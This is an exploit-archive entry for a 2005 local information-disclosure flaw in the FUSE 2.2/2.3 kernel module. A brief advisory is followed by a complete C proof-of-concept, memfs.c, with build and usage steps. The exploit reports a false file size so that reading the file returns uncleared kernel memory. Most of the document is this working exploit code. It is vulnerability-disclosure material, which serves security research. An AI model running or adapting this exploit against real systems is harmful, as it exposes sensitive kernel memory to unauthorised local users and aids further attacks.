FUSE 2.2/2.3 - Local Information Disclosure

// source: https://www.securityfocus.com/bid/13857/info

FUSE is susceptible to a local information disclosure vulnerability. This issue is due to a failure of the kernel module to properly clear used memory prior to its reuse.

This vulnerability allows malicious local users to gain access to potentially sensitive kernel memory, aiding them in further attacks.

FUSE versions 2.2, 2.2.1, 2.3-pre*, and 2.3-rc1, running on Linux kernel versions 2.4, through 2.6 are affected by this issue. 

/*
    memfs.c: Proof of concept exploit for FUSE < 2.3.0
    
    memfs.c is based on fuse/example/hello.c from Miklos Szeredi
    
    Details: http://www.sven-tantau.de/public_files/fuse/fuse_20050603.txt
    
    Build: Copy memfs.c over hello.c and run make in the fuse base directory
    
    Usage: Create a mountpoint ; ./hello /mnt/getmem/ ; cat /mnt/getmem/memfs ;
           If you see random bytes you are vulnerable.
           
    Sven Tantau - http://www.sven-tantau.de/ - 01.06.2005
    
    
    
    FUSE: Filesystem in Userspace
    Copyright (C) 2001-2005  Miklos Szeredi <[email protected]>

    This program can be distributed under the terms of the GNU GPL.
*/

#include <fuse.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>

static const char *memfs_str = "";
static const char *memfs_path = "/memfs";

static int memfs_getattr(const char *path, struct stat *stbuf)
{
    int res = 0;

    memset(stbuf, 0, sizeof(struct stat));
    if(strcmp(path, "/") == 0) {
        stbuf->st_mode = S_IFDIR | 0755;
        stbuf->st_nlink = 2;
    }
    else if(strcmp(path, memfs_path) == 0) {
        stbuf->st_mode = S_IFREG | 0444;
        stbuf->st_nlink = 1;
        stbuf->st_size = 4223;
    }
    else
        res = -ENOENT;

    return res;
}

static int memfs_getdir(const char *path, fuse_dirh_t h, fuse_dirfil_t filler)
{
    if(strcmp(path, "/") != 0)
        return -ENOENT;

    filler(h, ".", 0, 0);
    filler(h, "..", 0, 0);
    filler(h, memfs_path + 1, 0, 0);

    return 0;
}

static int memfs_open(const char *path, struct fuse_file_info *fi)
{
    if(strcmp(path, memfs_path) != 0)
        return -ENOENT;

    if((fi->flags & 3) != O_RDONLY)
        return -EACCES;

    return 0;
}

static int memfs_read(const char *path, char *buf, size_t size, off_t offset,
                      struct fuse_file_info *fi)
{
    size_t len;
    (void) fi;
    if(strcmp(path, memfs_path) != 0)
        return -ENOENT;

    len = strlen(memfs_str);
    if (offset < len) {
        if (offset + size > len)
            size = len - offset;
        memcpy(buf, memfs_str + offset, size);
    } else
        size = 0;

    return size;
}

static struct fuse_operations memfs_oper = {
    .getattr	= memfs_getattr,
    .getdir	= memfs_getdir,
    .open	= memfs_open,
    .read	= memfs_read,
};

int main(int argc, char *argv[])
{
    return fuse_main(argc, argv, &memfs_oper);
}